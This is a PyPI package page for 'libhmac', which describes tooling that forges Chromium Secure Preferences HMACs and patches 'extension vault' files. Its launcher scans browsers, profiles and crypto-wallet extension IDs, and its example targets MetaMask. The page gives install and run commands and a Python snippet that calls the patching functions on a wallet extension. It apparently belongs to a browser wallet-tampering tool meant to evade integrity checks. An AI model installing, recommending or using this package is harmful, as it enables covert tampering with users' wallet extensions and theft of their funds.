Skip to main content

Chromium Secure Preferences HMAC tooling and extension vault patching

Project description

libhmac-stack

Pip-installable libhmac library plus launcher.py orchestrator.

Layout

  • src/libhmac/ — HMAC / Secure Preferences + extension vault patching
  • launcher.py — scans browsers, profiles, wallet extension IDs; calls libhmac

Install

cd libhmac-stack
pip install -e .

Run launcher

python launcher.py
python launcher.py --username alice --skip-prefs

Library usage

from libhmac import PrefHashCalculator, PatchTarget, patch_extension_target, patch_profile

calc = PrefHashCalculator()
target = PatchTarget(
    browser_name="Chrome",
    browser_key="chrome",
    profile_name="Default",
    profile_path="/path/to/profile",
    extension_id="nkbihfbeogaeaoehlefnkodbefgpgknn",
    wallet_name="MetaMask",
    version_dir="/path/to/Extensions/nkbihf.../1.2.3",
)
result = patch_extension_target(target, calc)
patch_profile(target.profile_path, target.browser_key, calc)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

libhmac-1.1.0.tar.gz (310.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

libhmac-1.1.0-py3-none-any.whl (311.9 kB view details)

Uploaded Python 3

File details

Details for the file libhmac-1.1.0.tar.gz.

File metadata

  • Download URL: libhmac-1.1.0.tar.gz
  • Upload date:
  • Size: 310.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.0

File hashes

Hashes for libhmac-1.1.0.tar.gz
Algorithm Hash digest
SHA256 9d1fdb407835ce03333cde740b0663d8fb4eb1d3887b1946785f809bf7e104b5
MD5 fcdf6b743ba41fe13316f0f04f8a9a70
BLAKE2b-256 2d8c0b0c32d37676482b733bc0c85355e0812aa4ddd8c22a4d76769196860e5c

See more details on using hashes here.

File details

Details for the file libhmac-1.1.0-py3-none-any.whl.

File metadata

  • Download URL: libhmac-1.1.0-py3-none-any.whl
  • Upload date:
  • Size: 311.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.0

File hashes

Hashes for libhmac-1.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 3df3cb60df8ef4020f882c2b1adc392e44d0f5341fdd2efd4c1705365c7a7071
MD5 5a38d86f9bb5333404812fbddb6a343b
BLAKE2b-256 3c3b804098ff1692390e9a6eef39ca12d870351646a27fa3a78a76aa6f1c9eaf

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page